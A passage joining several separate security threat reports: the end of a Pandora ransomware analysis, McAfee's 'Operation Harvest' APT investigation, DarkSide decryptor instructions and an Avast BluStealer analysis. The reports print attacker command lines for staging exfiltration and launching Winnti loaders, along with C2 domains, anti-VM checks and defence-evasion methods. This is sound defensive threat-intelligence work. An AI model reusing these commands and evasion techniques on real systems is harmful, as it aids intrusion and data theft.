- **AMSI Bypass:** By bypassing AMSI, the malware can take away significant capabilities from the security products running on the machine.
- **Disable Event Log:** Pandora disables the Event Tracing for Windows (ETW) feature by patching the `EtwEventWrite()` function in the Windows kernel.
## Conclusion
The Pandora ransomware contains all of the most important features that state-of-the-art ransomware samples usually contain. The level of obfuscation to slow down analysis is more advanced than average malware. The threat actor also paid attention to unlock files to guarantee the maximum encryption coverage while still allowing the machine to run. We can already see anti-security product features. We can expect the threat actor to develop these capabilities further. There is currently no proof that Pandora operates as Ransomware-as-a-Service (RaaS), but the time investment in the complexity of the malware might indicate that they are moving in that direction in the long term. The current attacks and leaks might be a way to make their name in the ransomware field, which they could capitalize on if they adopt the RaaS model later. It is worth tracking the threat actor to monitor how their malware changes.
## Fortinet Protection
The analyzed Pandora ransomware sample is detected by the following (AV) signature: `W64/Filecoder.EGYTYFD!tr.ransom`. FortiEDR also detects and mitigates execution of Pandora ransomware through the combination of behavioral analysis, and integration with machine learning and threat intelligence feeds.
### IOCs
- **Mutex:** ThisIsMutexa
- **Ransom note:** Restore_My_Files.txt
- **SHA256 hash of hardcoded public key:** `7b2c21eea03a370737d2fe7c108a3ed822be848cce07da2ddc66a30bc558af6b`
- **SHA256 hash of sample:** `5b56c5d86347e164c6e571c86dbf5b1535eae6b979fede6ed66b01e79ea33b7b`
### ATT&CK TTPs
| TTP Name | TTP ID | Description |
|-----------------------------------------------|----------------|-------------|
| Obfuscated Files or Information | T1027.002 | Modified UPX packer |
| Impair Defenses: Disable Windows Event Logging | T1562.002 | Disable Event Logging |
| Impair Defenses: Disable or Modify Tools | T1562.001 | Bypass AMSI |
| Data from Local System | T1005 | Searches unmounted drives and partitions |
| Modify Registry | T1112 | Cryptographic keys are stored in the registry |
| Data Encrypted for Impact | T1486 | As a ransomware it encrypts files |
| Command and Scripting Interpreter | T1059 | Uses cmd.exe to remove the shadow copies |
| System Information Discovery | T1082 | Collects system information with GetSystemInfo() |
| File and Directory Discovery | T1083 | Discovers drives and enumerates filesystems |
| Inhibit System Recovery | T1490 | Deletes shadow copies |
| Service Stop | T1489 | Terminates processes if they lock a file | |
# Operation ‘Harvest’: A Deep Dive into a Long-term Campaign
**By Christiaan Beek · September 14, 2021**
A special thanks to our Professional Services’ IR team, ShadowServer, for historical context on C2 domains, and Thomas Roccia/Leandro Velasco for malware analysis support.
## Executive Summary
Following a recent Incident Response, McAfee Enterprise‘s Advanced Threat Research (ATR) team worked with its Professional Services IR team to support a case that initially started as a malware incident but ultimately turned out to be a long-term cyber-attack.
From a cyber-intelligence perspective, one of the biggest challenges is having information on the tactics, techniques, and procedures (TTPs) an adversary is using and then keeping them up to date. Within ATR, we typically monitor many adversaries for years and collect and store data, ranging from indicators of compromise (IOCs) to the TTPs.
In this report, ATR provides a deep insight into this long-term campaign where we will map out our findings against the Enterprise MITRE ATT&CK model. There will be parts that are censored since we respect the confidentiality of the victim. We will also zoom in and look at how the translation to the MITRE Techniques, historical context, and evidence artifacts like PlugX and Winnti malware led to a link with another campaign, which we highly trust to be executed by the same adversary.
IOCs that could be shared are at the end of this document. McAfee customers are protected from the malware/tools described in this blog. MVISION Insights customers will have the full details, IOCs, and TTPs shared via their dashboard. MVISION Endpoint, EDR, and UCE platforms provide signature and behavior-based prevention and detection capability for many of the techniques used in this attack. A more detailed blog with specific recommendations on using the McAfee portfolio and integrated partner solutions to defend against this attack can be found here.
## Technical Analysis
### Initial Infection Vectors [TA0001]
Forensic investigations identified that the actor established initial access by compromising the victim’s web server [T1190]. On the webserver, software was installed to maintain the presence and storage of tools [T1105] that would be used to gather information about the victim’s network [T1083] and lateral movement/execution of files [T1570] [T1569.002]. Examples of the tools discovered are PSexec, Procdump, and Mimikatz.
### Privilege Escalation and Persistence [TA0004, TA0003]
The adversary has been observed using multiple privilege escalation and persistence techniques during the period of investigation and presence in the network. We will highlight a few in each category.
Besides the use of Mimikatz to dump credentials, the adversaries used two tools for privilege escalations [T1068]. One of the tools was “RottenPotato”. This is an open-source tool that is used to get a handle to a privileged token, for example, “NT AUTHORITY\SYSTEM”, to be able to execute tasks with System rights.
Example of RottenPotato on elevating these rights:

The second tool discovered, “BadPotato”, is another open-source tool that can be used to elevate user rights towards System rights.

The BadPotato code can be found on GitHub where it is offered as a Visual Studio project. We inspected the adversary’s compiled version using DotPeek and hunted for artifacts in the code. Inspecting the File (COFF) header, we observed the file’s compilation timestamp:
TimeDateStamp: 05/12/2020 08:23:47 – Date and time the image was created.
### PlugX
Another major and characteristic privilege escalation technique the adversary used in this long-term campaign was the malware PlugX as a backdoor. PlugX makes use of the technique “DLL Sideloading” [T1574.002]. PlugX was observed as usual where a single (RAR) executable contained the three parts:
- Valid executable.
- Associated DLL with the hook towards the payload.
- Payload file with the config to communicate with Command & Control Server (C2).
The adversary used either the standalone version or distributed three files on different assets in the network to gain remote control of those assets. The samples discovered and analyzed were communicating towards two domains. Both domains were registered during the time of the campaign.
One of the PlugX samples consisted of the following three parts:
| Filename | Hashes |
|------------------------|------------------------------------------------------------------------|
| HPCustPartic.exe | SHA256: 8857232077b4b0f0e4a2c3bb5717fd65079209784f41694f8e1b469e34754cf6 |
| HPCustPartUI.dll | SHA256: 0ee5b19ea38bb52d8ba4c7f05fa1ddf95a4f9c2c93b05aa887c5854653248560 |
| HPCustPartic.bin | SHA256: 008f7b98c2453507c45dacd4a7a7c1b372b5fafc9945db214c622c8d21d29775 |
The .exe file is a valid and signed executable and, in this case, an executable from HP (HP Customer participation). We also observed other valid executables being used, ranging from AV vendors to video software. When the executable is run, the DLL next to it is loaded. The DLL is valid but contains a small hook towards the payload which, in our case, is the .bin file. The DLL loads the PlugX config and injects it into a process.
We executed the samples in a test setup and dumped the memory of the machine to conduct memory analysis with volatility. After the basic forensically sound steps, we ran the malfind plugin to detect possible injected code in a process. From the redacted output of the plugin, we observed the following values for the process with possible injected code:
- Process: svchost.exe Pid: 860 Address: 0xb50000
- Process: explorer.exe Pid: 2752 Address: 0x56a000
- Process: svchost.exe Pid: 1176 Address: 0x80000
- Process: svchost.exe Pid: 1176 Address: 0x190000
- Process: rundll32.exe Pid: 3784 Address: 0xd0000
- Process: rundll32.exe Pid: 3784 Address: 0x220000
One observation is the mention of the SVCHOST process with a ProcessID value of 1176 that is mentioned twice but with different addresses. This is similar to the RUNDLL32.exe that is mentioned twice with PID 3785 and different addresses. One way to identify what malware may have been used is to dump these processes with the relevant PID using the procdump module, upload them to an online analysis service and wait for the results. Since this is a very sensitive case, we took a different approach. Using the best of both worlds (volatility and Yara) we used a ruleset that consists of malware patterns observed in memory over time. Running this ruleset over the data in the memory dump revealed the following (redacted for the sake of readability) output:

The output of the Yara rule scan (and there was way more output) confirmed the presence of PlugX module code in PID 1176 of the SVCHOST service. Also, the rule was triggered on PID 3784, which belonged to RUNDLL32.exe.
Investigating the dumps after dynamic analysis, we observed two domain names used for C2 traffic:
- sery.brushupdata.com
- dnssery.brushupdata.com
In particular, we saw the following hardcoded value that might be another payload being downloaded:
sery.brushupdata.com/CE1BC21B4340FEC2B8663B69
The PlugX families we observed used DNS [T1071.001] [T1071.004] as the transport channel for C2 traffic, in particular TXT queries. Investigating the traffic from our samples, we observed the check-in-signature (“20 2A 2F 2A 0D”) that is typical for PlugX network traffic:
```
00000000: 47 45 54 20 2F 42 34 42 42 44 43 43 30 32 39 45
00000010: 31 31 39 37 31 39 46 30 36 35 36 32 32 20 48 54
00000020: 54 50 2F 31 2E 31 0D 0A 41 63 63 65 70 74 3A 20
00000030: 2A 2F 2A 0D 0A 43 6F 6F 6B 69 65 3A 20 44 36 43
00000040: 57 50 2B 56 5A 47 6D 59 6B 6D 64 6D 64 64 58 55
00000050: 71 58 4D 31 71 31 6A 41 3D 0D 0A 55 73 65 72 2D
```
During our analysis of the different PlugX samples discovered, the domain names as mentioned above stayed the same, though the payload values were different. For example:
- hxxp://sery.brushupdata.com/B4BBDCC029E119719F065622
- hxxp://sery.brushupdata.com/07FDB1B97D22EE6AF2482B1B
- hxxp://sery.brushupdata.com/273CDC0B9C6218BC1187556D
Other PlugX samples we observed injected themselves into Windows Media Player and started a connection with the following two domains:
- center.asmlbigip.com
- sec.asmlbigip.com
### Hello Winnti
Another mechanism observed was to start a program as a service [T1543.003] on the Operating System with the acquired System rights by using the *Potato tools. The file the adversary was using seemed to be a backdoor that was using the DLL file format (2458562ca2f6fabddae8385cb817c172). The DLL is used to create a malicious service and its name is “service.dll”. The name of the created service, “SysmainUpdate”, is usurping the name of the legitimate service “SysMain” which is related to the legitimate DLL sysmain.dll and also to the Superfetch service. The dll is run using the command “rundll32.exe SuperFrtch.dll, #1”. The export function has the name “WwanSvcMain”.
The model uses the persistence technique utilizing svchost.exe with service.dll to install a rogue service. It appears that the dll employs several mechanisms to fingerprint the targeted system and avoid analysis in the sandbox, making analysis more difficult. The DLL embeds several obfuscated strings decoded when running. Once the fingerprinting has been done, the malware will install the malicious service using the API RegisterServiceHandlerA then SetServiceStatus, and finally CreateEventA. A description of the technique can be found here.
The malware also decrypts and injects the payload in memory. The following screenshot shows the decryption routine.

When we analyzed this unique routine, we discovered similarities and the mention of it in a publication that can be read here. The malware described in the article is attributed to the Winnti malware family. The operating method and the code used in the DLL described in the article are very similar to our analysis and observations.
The process dump also revealed further indicators. Firstly, it revealed artifacts related to the DLL analyzed, “C:\ProgramData\Microsoft\Windows\SuperfRtch\SuperfRtch.dat”. We believe that this dat file might be the loaded payload.
Secondly, while investigating the process dump, we observed activities from the backdoor that are part of the data exfiltration attempts which we will describe in more detail in this analysis report. A redacted snippet of the code would look like this:
```
Creating archive ***.rar
Adding [data from location]
0%
OK
```
Another indicator of discovering Winnti malware was the following execution path we discovered in the command line dump of the memory:
```
cmd /c klcsngtgui.exe 1560413F7E <abbreviation-victim>.dat
```
What we observed here was the use of a valid executable, the AES 256 decryption key of the payload (.dat file). In this case, the payload file was named using an abbreviation of the victim company’s name. Unfortunately, the adversary had removed the payload file from the system. File carving did not work since the disk/unallocated space was overwritten. However, reconstructing traces from memory revealed that we were dealing with the Winnti 4.0 malware. The malware was injected into a SVCHOST process where a driver location pointed to the config file. We observed in the process dump the exfiltration of data on the system, such as OS, Processor (architecture), Domain, Username, etc.
Another clue that helped us was the use of DNS tunneling by Winnti which we discovered traces of in memory. The hardcoded 208.67.222.222 resolves to a legitimate OpenDNS DNS server. The IP is pushed into the list generated by the malware at runtime. At the start of the malware, it populates the list with the system’s DNS, and the OpenDNS server is only used as a backup to ensure that the C2 domain is resolved.
Another indicator in the process dump was the setup of the C2 connection including the User-Agent that has been observed being used by Winnti 4.0 malware:
```
Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36
```
### Other Persistence Activities
WMI activity [T1546.003] was also observed to execute commands on the systems. From a persistence point of view, scheduled tasks [T1053.005] and the use of valid accounts [T1078] acquired through the use of Mimikatz, or creating LSASS dumps, were observed being employed during the length of the campaign.
### Lateral Movement
From a lateral movement perspective, the adversary used the obtained credentials to hop from asset to asset. In one particular case, we observed a familiar filename: “PsExec.exe”. This SysInternals tool is often observed being used in lateral movement by adversaries; however, it can also be used by the sysadmins of the network. In our case, the PsExec executable had a file size of 9.6 MB where the original PsExec (depending on 32- or 64-bit version) had a maximum file size of 1.3 MB. An initial static inspection of the file resulted in a blob of code that was present in the executable which had a very high entropy score (7.99). When running the file from the command line, the following output was observed:

The error notification and the ‘Impacket’ keyword tipped us off and, after digging around, we found more. The fake PsExec is an open-source Python script that is a PsExec alternative with shell/backdoor capability. It uses a script from this location:
hxxps://github.com/SecureAuthCorp/impacket/blob/master/examples/psexec.pyi. The file is large since it incorporates a low-level protocol interaction from Impacket. The Python library combined with the script code is compiled with py2exe. The file was compiled during the time of the latest attack activities and signed with an expired certificate.
### Data Exfiltration
From what we observed, the adversary had a long-term intention to stay present in the victim’s network. With high confidence, we believe that the adversary was interested in stealing proprietary intelligence that could be used for military or intellectual property/manufacturing purposes.
The adversary used several techniques to exfiltrate the data. In some cases, batch (.bat) scripts were created to gather information from certain network shares/folders and use the ‘rar’ tool to compress them to a certain size [T1020] [T1030]. Example of content in a batch script:
```
C:\Windows\web\rar.exe a -[redacted] -r -v50000 [Target-directory]
```
On other occasions, manual variants of the above command were discovered after using the custom backdoor as described earlier. When the data was gathered on a local system using the backdoor, the files were exfiltrated over the backdoor and the rar files were deleted [T1070.004]. Where external facing assets were used, like a web server, the data was stored in a location in the Internet Information Services (IIS) web server and exfiltrated over HTTP using GET requests towards the exact file paths [T1041] [T1567] [T1071].
An example of the [redacted] web traffic in the IIS logfiles:
| Date /Time | Request | TCP Src port | Source IP | User-Agent |
|------------------|---------------------------------|--------------|------------------|------------|
| Redacted | GET /****/[redacted].rar | 80 | 180.50.*.* | MINIXL |
| redacted | GET /****/[redacted].rar | 80 | 209.58.*.* | MINIXL |
The source IP addresses discovered belonged to two different ISP/VPN providers based in Hong Kong. The User-Agent value is an interesting one, “MINIXL”. When we researched that value, we discovered a blog from Dell SecureWorks from 2015 that mentions the same User-Agent, but also a lot of the artifacts mentioned from the blog overlapped with the observations and TTPs of Operation Harvest.
## Who did it?
That seems to be the one-million-dollar question to be asked. Within McAfee, attribution is not our main focus; protecting our customers is our priority. What we do care about is that if we learn about these techniques during an investigation, can we map them out and support our IR team on the ground, or a customer’s IR team, with the knowledge that can help determine which phase of the attack the evidence is pointing to and based on historical data and intelligence, assist in blocking the next phase and discover more evidence?
We started by mapping out all MITRE ATT&CK Enterprise techniques and sub-techniques, added the tools used, and did a comparison against historical technique data from the industry. We ended up with four groups that shared techniques and sub-techniques. The Winnti group was added by us since we discovered the unique encryption function in the custom backdoor and indicators of the use of the Winnti malware.

The diagram reflecting our outcome insinuated that APT27 and APT41 are the most likely candidates that overlap with the (sub-)techniques we observed. Since all these groups are in a certain time zone, we extracted all timestamps from the forensic investigation with regards to:
- Registration of domain
- Compile timestamps of malware (considering deception)
- Timestamps of command-line activity
- Timestamps of data exfiltration
- Timestamps of malware interaction such as creation, deletion, etc.
When we converted all these timestamps from UTC to the aforementioned groups’ time zones, we ended up with the below scheme on activity:

In this campaign, we observed how the adversary mostly seems to work from Monday to Thursday and typically during office hours, albeit with the occasional exception. Correlating ATT&CK (sub-)techniques, timestamps, and tools like PlugX and Mimikatz are not the only evidence indicators that can help to identify a possible adversary. Command-line syntax, specific code similarity, actor capability over time versus other groups, and unique identifiers are at the top of the ‘pyramid of pain’ in threat intelligence. The bottom part of the pyramid is about hashes, URLs, and domains, areas that are very volatile and easy to change by an adversary.

Beyond investigating those artifacts, we also took possible geopolitical interests and potential deception into consideration when building our hypothesis. When we mapped out all of these, we believed that one of the two previously mentioned groups were responsible for the campaign we investigated. Our focus was not about attribution though, but more around where the flow of the attack is, matches against previous attack flows from groups, and what techniques/tools they are using to block next steps, or where to locate them. The more details we can gather at the top of ‘the pyramid of pain’, the better we can determine the likely adversary and its TTPs.
## That’s all Folks!
Well, not really. While correlating the observed (sub-)techniques, the malware families and code, we discovered another targeted attack against a similar target in the same nation with the major motivation of gathering intelligence. In the following diagram, we conducted a high-level comparison of the tools being used by the adversary:

Although some of the tools are unique to each campaign, if taken into consideration over time with when they were used, it makes sense. It demonstrates the development of the actor and use of newer tools to conduct lateral movement and to obtain the required level of user rights on systems.
Overall, we observed the same modus operandi. Once an initial foothold was established, the adversary would deploy PlugX initially to create a few backdoors in the victim’s network in case they were discovered early on. After that, using Mimikatz and dumping lsass, they were looking to get valid accounts. Once valid accounts were acquired, several tools including some of their own tools were used to gain information about the victim’s network. From there, several shares/servers were accessed, and information gathered. That information was exfiltrated as rar files and placed on an internet-facing server to hide in the ‘normal’ traffic. We represent that in the following graphic:

In the 2019/2020 case, we also observed the use of a malware sample that we would classify as part of the Winnti malware family. We discovered a couple of files that were executed by the following command:
```
Start Ins64.exe E370AA8DA0 Jumper64.dat
```
The Winnti loader ‘Ins64.exe’ uses the value ‘E370AA8DA0’ to decrypt the payload from the .dat file using the AES-256-CTR decryption algorithm and starts to execute. After executing this command and analyzing the memory, we observed a process injection in one of the svchost processes whereby one particular file was loaded from the following path:
```
C:\programdata\microsoft\windows\caches\ieupdate.dll
```

The malware started to open up both UDP and TCP ports to connect with a C2 server.
UDP Port 20502
TCP Port 20501

Capturing the traffic from the malware we observed the following as an example:

The packet data was customized and sent through a POST request with several headers towards the C2. In the above screenshot, the numbers after “POST /” were randomly generated. The User-Agent is a good network indicator to identify the Winnti malware since it is used in multiple variants:
```
Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.94 Safari/537.36
```
Indeed, the same User-Agent value was discovered in the Winnti sample in Operation Harvest and seems to be typical for this malware family. The cookie value consists of four Dword hex values that contain information about the customized packet size using a XOR value.
## Timeline of Events
When analyzing the timestamps from this investigation, like we did for operation Harvest, we came to the below overview:

Again, we observed that the adversary was operating Monday to Friday during office hours in the Beijing time-zone.
## Conclusion
Operation Harvest has been a long-term operation whereby an adversary maintained access for multiple years to exfiltrate data. The exfiltrated data would have either been part of an intellectual property theft for economic purposes and/or would have provided insights that would be beneficial in case of military interventions. The adversaries made use of techniques very often observed in this kind of attack but also used distinctive new backdoors or variants of existing malware families. Combining all forensic artifacts and cross-correlation with historical and geopolitical data, we have high confidence that this operation was executed by an experienced APT actor.
After mapping out all data, TTPs, etc., we discovered a very strong overlap with a campaign observed in 2019/2020. A lot of the (in-depth) technical indicators and techniques match. Also putting it into perspective, and over time, it demonstrates the adversary is adapting skills and evolving the tools and techniques being used.
On a separate note, we observed the use of the Winnti malware. We deliberately mention the term ‘malware’ instead of group. The Winnti malware is known to be used by several actors. Within every nation-state cyber-offensive activity, there will be a department/unit responsible for the creation of the tools/malware, etc. We strongly believe that is exactly what we observe here as well. PlugX, Winnti, and some other custom tools all point to a group that had access to the same tools. Whether we put name ‘X’ or ‘Y’ on the adversary, we strongly believe that we are dealing with a Chinese actor whose long-term objectives are persistence in their victims’ networks and the acquisition of the intelligence needed to make political/strategic or manufacturing decisions.
## MITRE ATT&CK Techniques
| Technique ID | Technique Title | Context Campaign |
|--------------|-------------------------------------|----------------------------------------------------------------------------------|
| T1190 | Exploit Public-facing application | Adversary exploited a web-facing server with application vulnerabilities. |
| T1105 | Ingress Tool transfer | Tools were transferred to a compromised web-facing server. |
| T1083 | File & Directory Discovery | Adversary browsed several locations to search for the data they were after. |
| T1570 | Lateral Tool Transfer | Adversary transferred tools/backdoors to maintain persistence. |
| T1569.002 | System Services: Service Execution | Adversary installed custom backdoor as a service. |
| T1068 | The exploitation of Privilege | Adversary used Rotten/Bad Potato to elevate user rights by abusing API calls. |
| T1574.002 | Hijack Execution Flow: DLL Side-Loading | Adversary used PlugX malware that is famous for DLL-Side-Loading using a valid executable. |
| T1543.003 | Create or Modify System Process: Windows Service | Adversary launched backdoor and some tools as a Windows Service. |
| T1546.003 | Event-Triggered Execution: WMI Event Subscription | WMI was used for running commands on remote systems. |
| T1053.005 | Scheduled task | Adversary ran scheduled tasks for persistence of certain malware samples. |
| T1078 | Valid accounts | Using Mimikatz and dumping of lsass, the adversary gained credentials in the network. |
| T1020 | Automated exfiltration | The PlugX malware exfiltrated data towards a C2 and received commands. |
| T1030 | Data transfer size limits | Adversary limited the size of rar files for exfiltration. |
| T1070.004 | Indicator removal on host | Adversary became more careful and started to remove evidence. |
| T1041 | Exfiltration over C2 channel | Adversary used several C2 domains to interact with compromised hosts. |
| T1567 | Exfiltration over Web Service | Gathered information was stored as ‘rar’ files on the internet-facing server. |
| T1071.004 | Application layer protocol: DNS | Using DNS tunneling for the C2 traffic of the PlugX malware. |
## Indicators of Compromise (IOCs)
Note: the indicators shared are to be used in a historical and timeline-based context, ranging from 2016 to March 2021.
### Operation Harvest:
**PlugX C2:**
- sery.brushupdata.com
- dnssery.brushupdata.com
- center.asmlbigip.com
**Tools:**
- Mimikatz
- PsExec
- RottenPotato
- BadPotato
### Operation 2019/2020
**PlugX malware:**
- f50de0fae860a5fd780d953a8af07450661458646293bfd0fed81a1ff9eb4498
- 26e448fe1105b5dadae9b7607e3cca366c6ba8eccf5b6efe67b87c312651db01
- e9033a5db456af922a82e1d44afc3e8e4a5732efde3e9461c1d8f7629aa55caf
- 3124fcb79da0bdf9d0d1995e37b06f7929d83c1c4b60e38c104743be71170efe
**Winnti:**
- 800238bc27ca94279c7562f1f70241ef3a37937c15d051894472e97852ebe9f4
- c3c8f6befa32edd09de3018a7be7f0b7144702cb7c626f9d8d8d9a77e201d104
- df951bf75770b0f597f0296a644d96fbe9a3a8c556f4d2a2479a7bad39e7ad5f
**Winnti C2:**
- 185.161.211.97
**Tools:**
- PSW64 6e983477f72c8575f8f3ff5731b74e20877b3971fa2d47683aff11cfd71b48c6
- NTDSDumpEx 6db8336794a351888636cb26ebefb52aeaa4b7f90dbb3e6440c2a28e4f13ef96
- NBTSCAN c9d5dc956841e000bfd8762e2f0b48b66c79b79500e894b4efa7fb9ba17e4e9e
- NetSess ddeeedc8ab9ab3b90c2e36340d4674fda3b458c0afd7514735b2857f26b14c6d
- Smbexec e781ce2d795c5dd6b0a5b849a414f5bd05bb99785f2ebf36edb70399205817ee
- Wmiexec 14f0c4ce32821a7d25ea5e016ea26067d6615e3336c3baa854ea37a290a462a8
- Mimikatz
- RAR command-line
- TCPdump |
# DarkSide Ransomware Decryption Tool
**Step 1:** Download the decryption tool and save it somewhere on your computer. This tool works on an infected PC that has an active internet connection.
**Step 2:** Double click `BDDarkSideDecryptor.exe` and allow it to run by clicking yes on the UAC alert.
**Step 3:** Select “I Agree” for the End User License Agreement. Note: The tool informs that the encrypted files extension for the current PC should be `*.e392d905`. Please check that you have encrypted files with this extension; otherwise, no files will be decrypted.
**Step 4:** Select “Scan Entire System” if you want to search for all encrypted files or just add the path to where you previously saved the encrypted files. We strongly recommend that you also select “Backup files” before starting the decryption process in case anything unwanted happens while decrypting. Then press “Start Tool.” At the end of this step, your files should have been decrypted.
If you encounter any issues, please contact us at [email protected]. If you checked the backup option, you will see both the encrypted and decrypted files. You can also find a log describing the decryption process in the `%temp%\BDRemovalTool` folder.
To get rid of your left encrypted files, just search for files matching the extension and remove them in bulk. We do not encourage you to do this unless you double-check your files can be opened safely and there is no trace of damage. Ransomware in some cases encrypts files incorrectly, so decryption may not work properly. We recommend that you back up your files before using the decryption tool if you have not already checked the option "backup files" from the decryption tool.
**Acknowledgement:** This product may include software developed by the OpenSSL Project, for use in the OpenSSL Toolkit. |
# BluStealer: from SpyEx to ThunderFox
**September 20, 2021**
by Anh Ho
## Overview
BluStealer is a crypto stealer, keylogger, and document uploader written in Visual Basic that loads C#.NET hack tools to steal credentials. The family was first mentioned by @James_inthe_box in May and referred to as a310logger. In fact, a310logger is just one of the namespaces within the .NET component that appeared in the string artifacts. Around July, Fortinet referred to the same family as a “fresh malware,” and recently it is mentioned again as BluStealer by GoSecure. In this blog, we decide to go with the BluStealer naming while providing a fuller view of the family along with details of its inner workings.
BluStealer is primarily spread through malspam campaigns. A large number of the samples we found come from a particular campaign that is recognizable through the use of a unique .NET loader. Below are two BluStealer malspam samples. The first is a fake DHL invoice in English. The second is a fake General de Perfiles message, a Mexican metal company, in Spanish. Both samples contain .iso attachments and download URLs that the messages claim is a form that the lure claims the recipient needs to open and fill out to resolve a problem. The attachments contain the malware executables packed with the mentioned .NET Loader.
In the graph below, we can see a significant spike in BluStealer activity recently around September 10-11, 2021.
## BluStealer Analysis
BluStealer consists of a core written in Visual Basic and the C# .NET inner payload(s). Both components vary greatly among the samples indicating the malware builder’s ability to customize each component separately. The VB core reuses a large amount of code from a 2004 SpyEx project, hence the inclusion of “SpyEx” strings in early samples from May. However, the malware authors have added the capabilities to steal crypto wallet data, swap crypto addresses present in the clipboard, find and upload document files, exfiltrate data through SMTP and the Telegram Bot API, as well as anti-analysis/anti-VM tactics. The .NET component is primarily a credential stealer that is patched together from a combination of open-source C# hack tools such as ThunderFox, ChromeRecovery, StormKitty, and firepwd. Note that not all the mentioned features are available in a single sample.
### Obfuscation
Each string is encrypted with a unique key. Depending on the sample, the encryption algorithm can be the xor cipher, RC4, or the WinZip AES implementation. A utility to help decrypt all strings in IDA is available.
### Anti-VM Tactics
BluStealer checks the following conditions:
- If property Model of Win32_ComputerSystem WMI class contains: VIRTUA (without L), VMware Virtual Platform, VirtualBox, microsoft corporation, vmware, VMware, vmw
- If property SerialNumber of Win32_BaseBoard WMI class contains 0 or None
- If the following files exist:
- C:\Windows\System32\drivers\vmhgfs.sys
- C:\Windows\System32\drivers\vmmemctl.sys
- C:\Windows\System32\drivers\vmmouse.sys
- C:\Windows\System32\drivers\vmrawdsk.sys
- C:\Windows\System32\drivers\VBoxGuest.sys
- C:\Windows\System32\drivers\VBoxMouse.sys
- C:\Windows\System32\drivers\VBoxSF.sys
- C:\Windows\System32\drivers\VBoxVideo.sys
If any of these conditions are satisfied, BluStealer will stop executing.
### .NET Component
The BluStealer retrieves the .NET payload(s) from the resource section and decrypts it with the above WinZip AES algorithm using a hardcoded key. Then it executes one of the following command-line utilities to launch the .NET executable(s):
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
- C:\Windows\Microsoft.NET\Framework\v2.0.50727\InstallUtil.exe
The .NET component does not communicate with the VB core in any way. It steals the credentials of popular browsers and applications then writes them to disk at a chosen location with a designated filename (i.e., credentials.txt). The VB core will look for this drop and exfiltrate it later on.
The .NET component is just a copypasta of open-source C# projects listed below. You can find more information on their respective Github pages:
- ThunderFox: github.com/V1V1/SharpScribbles
- ChromeRecovery: github.com/Elysian01/Chrome-Recovery
- StormKitty: github.com/swagkarna/StormKitty
- Firepwd: github.com/lclevy/firepwd
### Information Stealer
Both the VB core and the .NET component write stolen information to the %appdata%\Microsoft\Templates folder. Each type of stolen data is written to a different file with predefined filenames. The VB core sets up different timers to watch over each file and keeps track of their file sizes. When the file size increases, the VB core will send it to the attacker.
| Handler | Arbitrary filename | Stolen Information | Arbitrary Timers(s) |
|---------------|--------------------|-----------------------------------------------------------------------------------|----------------------|
| .NET component | credentials.txt | Credentials stored in popular web browsers and applications, and system profiling info | 80 |
| .NET component | Cookies.zip | Cookies stored in Firefox and Chrome browsers | 60 |
| VB Core | CryptoWallets.zip | Database files that often contain private keys of various crypto wallets | 50 |
| VB Core | FilesGrabber\Files.zip | Document files (.txt, .rtf, .xlxs, .doc(x), .pdf, .utc) less than 2.5MB | 30 |
| VB Core | Others | Screenshot, Keylogger, Clipboard data | 1 or None |
BluStealer VB core also detects the crypto addresses copied to the clipboard and replaces them with the attacker’s predefined ones. Collectively it can support the following addresses: Bitcoin, Bitcoincash, Ethereum, Monero, Litecoin.
### Data Exfiltration
BluStealer exfiltrates stolen data via SMTP (reusing SpyEx’s code) and Telegram Bot, hence the lack of server-side code. The Telegram token and chat_id are hardcoded to execute the 2 commands: sendDocument and sendMessage.
### .NET Loader Walkthrough
This .NET Loader has been used by families such as Formbook, Agent Tesla, Snake Keylogger, Oski Stealer, RedLine, as well as BluStealer.
#### First Stage
The first stage of the .NET loader has a generic obfuscated look and isn’t matched by de4dot to any known .NET obfuscator. However, one recognizable characteristic is the inclusion of a single encrypted module in the resource.
Prior to loading the next stage, the loader may check for internet connectivity or set up persistence through the Startup folder and registry run keys.
In the samples we looked at closely, the module is decrypted using RC4, with a hardcoded key. The key is obfuscated by a string provider function.
#### Second Stage
Inside the Data() function of the second stage, which has two strange resource files along with their getter functions, the second stage has the function calls and strings obfuscated. However, there are two resource files that look out-of-place enough for us to pivot off. Their getter functions can be easily found in the Resources class of the Properties namespace.
In order to understand what is going on, we have to know what functions these fields represent. The field to method map file is likely embedded in the resource section, which in this case, “Dic.Attr” naming is a strong tell.
The search of the “Dic.Attr” string leads us to the function where the mapping occurs. The dictionary value represents the method token that will be bound, and the key value is the corresponding field.
With all the function calls revealed, we can understand what’s going on inside the Data() method. First, it loads a new assembly that is the decompressed Ehiuuvbfrnprkuyuxqv. Then, it tries to create an instance of an object named SmartAssembly.Queues.MapFactoryQueue.
The unpacking process will not be much different from the previous layer but with the overhead of code virtualization.
### Conclusion
In this article, we break down BluStealer functionalities and provide some utilities to deobfuscate and extract its IOCs. We also highlight its code reuse of multiple open-source projects. Despite still writing data to disk and without a proper C2 functionality, BluStealer is still a capable stealer.
## IOCs
### BluStealer SHA-256
- 678e9028caccb74ee81779c5dd6627fb6f336b2833e9a99c4099898527b0d481
- 3151ddec325ffc6269e6704d04ef206d62bba338f50a4ea833740c4b6fe770ea
- 49da8145f85c63063230762826aa8d85d80399454339e47f788127dafc62ac22
- 7abe87a6b675d3601a4014ac6da84392442159a68992ce0b24e709d4a1d20690
### Crypto Address List
**Bitcoin:**
- 1ARtkKzd18Z4QhvHVijrVFTgerYEoopjLP (1.67227860 BTC)
- 1AfFoww2ajt5g1YyrrfNYQfKJAjnRwVUsX (0.06755943 BTC)
- 1MEf31xHgNKqyB7HEeAbcU6BhofMdwLE3r
- 38atNsForzrDRhJoVAhyXsQLqWYfYgodd5
- bc1qrjl4ksg5h7p70jjtypr8s6cjpngzd3kerfj9rt
- bc1qjg3y4d4t6hwg6h22khknlxcstevjg2qkrxt6qu
- 1KfRWVcShzwE2Atp1njogAqH8qodsif3pi
- 3P6JnvWtubxbCxgPW7GAAj8u6CLV2h9MkY
- 13vZcoMYRcKrDRDYUyH9Cd4kCRMZVjFkyn
**Bitcoincash:**
- qrej5ltx0sgk5c7aygdsvt2gh7fq04umvusxhxl7wq
- qrzakt59udz893u2uuwtgrwrjj9dhtk0gc3m4m2sj5
**Ethereum:**
- 0xd070c48cd3bdeb8a6ca90310249aae90a7f26303 (0.10 ETH)
